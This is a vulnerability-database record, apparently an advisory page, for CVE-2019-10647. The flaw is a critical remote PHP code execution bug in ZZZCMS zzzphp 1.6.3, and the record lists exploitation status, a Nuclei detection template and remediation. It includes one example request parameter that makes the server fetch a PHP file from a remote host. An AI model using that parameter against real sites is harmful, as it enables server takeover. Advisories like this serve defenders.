CVE-2019-10647
zzzcms zzzphp Unrestricted Upload of File with Dangerous Type
Record summary
CVE-2019-10647 has a selected CVSS score of 9.8 (critical); EIP currently links 1 Nuclei template.
Description
ZZZCMS zzzphp v1.6.3 allows remote attackers to execute arbitrary PHP code via a .php URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter because of a lack of inc/zzz_file.php restrictions. For example, source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.php can be used if the 192.168.0.1 web server sends the contents of a .php file (i.e., it does not interpret a .php file).
Exploitation context
Known exploitation
- VulnCheck KEV
- Listed · Nov 26, 2024 · VulnCheck
- Reported exploitation
- Observed · VulnCheck
Available material
- Nuclei templates
- 1
Affected products and versions
1| Product | Source | Version range | Status |
|---|---|---|---|
zzzphpBrowse zzzcms / zzzphp | VulnCheck | Version data not supplied | |
Nuclei templates
1ProjectDiscoveryCRITICALZZZCMS ZZZPHP 1.6.3 – Remote PHP Code Execution (RCE)CVSS 9.8
ZZZCMS zzzphp v1.6.3 contains a remote code execution caused by lack of restrictions in inc/zzz_file.php, letting attackers execute arbitrary PHP code via a crafted URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter, exploit requires attacker to send malicious URL and server to serve PHP code as plain text.
Impact
Attackers can execute arbitrary PHP code on the server, potentially leading to full system compromise.
Remediation
Update to the latest version of ZZZCMS or apply security patches that restrict PHP file handling in inc/zzz_file.php.
Source: ProjectDiscovery